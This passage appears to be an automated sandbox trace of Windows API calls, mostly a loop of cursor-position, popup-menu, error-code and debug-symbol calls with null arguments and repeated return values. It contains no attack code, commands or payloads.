lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.025] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.025] GetLastError () returned 0x579 [0141.025] SetLastError (dwErrCode=0x579) [0141.025] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.025] SymCleanup (hProcess=0x0) returned 0 [0141.025] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.025] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.025] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.026] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.026] GetLastError () returned 0x579 [0141.026] SetLastError (dwErrCode=0x579) [0141.026] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.026] SymCleanup (hProcess=0x0) returned 0 [0141.026] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.026] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.026] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.026] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=158, param_4=140, param_5=0x0, param_6=0x0) returned 0 [0141.026] GetLastError () returned 0x579 [0141.026] SetLastError (dwErrCode=0x579) [0141.026] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.026] SymCleanup (hProcess=0x0) returned 0 [0141.026] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.026] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.026] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.026] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.026] GetLastError () returned 0x579 [0141.026] SetLastError (dwErrCode=0x579) [0141.026] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.026] SymCleanup (hProcess=0x0) returned 0 [0141.026] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.026] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.026] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.026] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.027] GetLastError () returned 0x579 [0141.027] SetLastError (dwErrCode=0x579) [0141.027] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.027] SymCleanup (hProcess=0x0) returned 0 [0141.027] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.027] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.027] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.027] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.027] GetLastError () returned 0x579 [0141.027] SetLastError (dwErrCode=0x579) [0141.027] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.027] SymCleanup (hProcess=0x0) returned 0 [0141.027] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.027] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.027] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.027] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.027] GetLastError () returned 0x579 [0141.027] SetLastError (dwErrCode=0x579) [0141.027] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.027] SymCleanup (hProcess=0x0) returned 0 [0141.027] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.027] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.027] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.027] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=349, param_4=295, param_5=0x0, param_6=0x0) returned 0 [0141.027] GetLastError () returned 0x579 [0141.027] SetLastError (dwErrCode=0x579) [0141.028] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.028] SymCleanup (hProcess=0x0) returned 0 [0141.028] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.028] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.028] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.028] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.028] GetLastError () returned 0x579 [0141.028] SetLastError (dwErrCode=0x579) [0141.028] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.028] SymCleanup (hProcess=0x0) returned 0 [0141.028] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.028] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.028] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.028] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.028] GetLastError () returned 0x579 [0141.028] SetLastError (dwErrCode=0x579) [0141.028] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.028] SymCleanup (hProcess=0x0) returned 0 [0141.028] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.028] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.028] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.028] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.028] GetLastError () returned 0x579 [0141.028] SetLastError (dwErrCode=0x579) [0141.028] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.028] SymCleanup (hProcess=0x0) returned 0 [0141.029] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.029] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.029] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.029] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.029] GetLastError () returned 0x579 [0141.029] SetLastError (dwErrCode=0x579) [0141.029] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.029] SymCleanup (hProcess=0x0) returned 0 [0141.029] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.029] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.029] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.029] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=914, param_4=16, param_5=0x0, param_6=0x0) returned 0 [0141.029] GetLastError () returned 0x579 [0141.029] SetLastError (dwErrCode=0x579) [0141.029] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.029] SymCleanup (hProcess=0x0) returned 0 [0141.029] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.029] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.029] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.029] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.029] GetLastError () returned 0x579 [0141.029] SetLastError (dwErrCode=0x579) [0141.029] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.029] SymCleanup (hProcess=0x0) returned 0 [0141.029] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.029] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.030] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.030] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.031] GetLastError () returned 0x579 [0141.031] SetLastError (dwErrCode=0x579) [0141.032] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.032] SymCleanup (hProcess=0x0) returned 0 [0141.032] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.032] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.032] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.032] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.032] GetLastError () returned 0x579 [0141.032] SetLastError (dwErrCode=0x579) [0141.032] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.032] SymCleanup (hProcess=0x0) returned 0 [0141.032] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.032] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.032] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.032] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.032] GetLastError () returned 0x579 [0141.032] SetLastError (dwErrCode=0x579) [0141.032] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.032] SymCleanup (hProcess=0x0) returned 0 [0141.032] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.032] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.032] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.032] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1276, param_4=491, param_5=0x0, param_6=0x0) returned 0 [0141.032] GetLastError () returned 0x579 [0141.032] SetLastError (dwErrCode=0x579) [0141.033] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.033] SymCleanup (hProcess=0x0) returned 0 [0141.033] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.033] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.033] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.033] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.033] GetLastError () returned 0x579 [0141.033] SetLastError (dwErrCode=0x579) [0141.033] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.033] SymCleanup (hProcess=0x0) returned 0 [0141.033] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.033] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.033] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.033] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.033] GetLastError () returned 0x579 [0141.033] SetLastError (dwErrCode=0x579) [0141.033] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.033] SymCleanup (hProcess=0x0) returned 0 [0141.033] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.033] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.033] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.033] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.033] GetLastError () returned 0x579 [0141.033] SetLastError (dwErrCode=0x579) [0141.033] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.033] SymCleanup (hProcess=0x0) returned 0 [0141.034] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.034] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.034] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.034] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.034] GetLastError () returned 0x579 [0141.034] SetLastError (dwErrCode=0x579) [0141.034] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.034] SymCleanup (hProcess=0x0) returned 0 [0141.034] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.034] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.034] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.034] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=178, param_4=246, param_5=0x0, param_6=0x0) returned 0 [0141.034] GetLastError () returned 0x579 [0141.034] SetLastError (dwErrCode=0x579) [0141.034] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.034] SymCleanup (hProcess=0x0) returned 0 [0141.034] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.034] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.034] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.034] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.034] GetLastError () returned 0x579 [0141.034] SetLastError (dwErrCode=0x579) [0141.034] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.034] SymCleanup (hProcess=0x0) returned 0 [0141.034] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.034] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.034] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.035] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.035] GetLastError () returned 0x579 [0141.035] SetLastError (dwErrCode=0x579) [0141.035] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.035] SymCleanup (hProcess=0x0) returned 0 [0141.035] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.035] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.035] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.035] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.035] GetLastError () returned 0x579 [0141.035] SetLastError (dwErrCode=0x579) [0141.035] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.035] SymCleanup (hProcess=0x0) returned 0 [0141.035] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.035] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.035] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.035] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.035] GetLastError () returned 0x579 [0141.035] SetLastError (dwErrCode=0x579) [0141.035] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.035] SymCleanup (hProcess=0x0) returned 0 [0141.035] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.035] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.035] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.036] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=167, param_4=383, param_5=0x0, param_6=0x0) returned 0 [0141.036] GetLastError () returned 0x579 [0141.036] SetLastError (dwErrCode=0x579) [0141.036] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.036] SymCleanup (hProcess=0x0) returned 0 [0141.036] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.036] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.036] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.036] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.036] GetLastError () returned 0x579 [0141.036] SetLastError (dwErrCode=0x579) [0141.036] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.036] SymCleanup (hProcess=0x0) returned 0 [0141.036] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.036] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.036] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.036] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.036] GetLastError () returned 0x579 [0141.036] SetLastError (dwErrCode=0x579) [0141.036] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.036] SymCleanup (hProcess=0x0) returned 0 [0141.036] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.036] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.036] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.036] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.037] GetLastError () returned 0x579 [0141.037] SetLastError (dwErrCode=0x579) [0141.037] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.037] SymCleanup (hProcess=0x0) returned 0 [0141.037] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.037] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.037] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.037] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.037] GetLastError () returned 0x579 [0141.037] SetLastError (dwErrCode=0x579) [0141.037] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.037] SymCleanup (hProcess=0x0) returned 0 [0141.037] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.037] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.037] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.037] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=957, param_4=344, param_5=0x0, param_6=0x0) returned 0 [0141.037] GetLastError () returned 0x579 [0141.037] SetLastError (dwErrCode=0x579) [0141.037] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.037] SymCleanup (hProcess=0x0) returned 0 [0141.037] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.037] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.037] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.037] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.037] GetLastError () returned 0x579 [0141.037] SetLastError (dwErrCode=0x579) [0141.038] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.038] SymCleanup (hProcess=0x0) returned 0 [0141.038] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.038] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.038] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.038] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.038] GetLastError () returned 0x579 [0141.038] SetLastError (dwErrCode=0x579) [0141.038] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.038] SymCleanup (hProcess=0x0) returned 0 [0141.038] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.038] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.038] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.038] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.038] GetLastError () returned 0x579 [0141.038] SetLastError (dwErrCode=0x579) [0141.038] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, 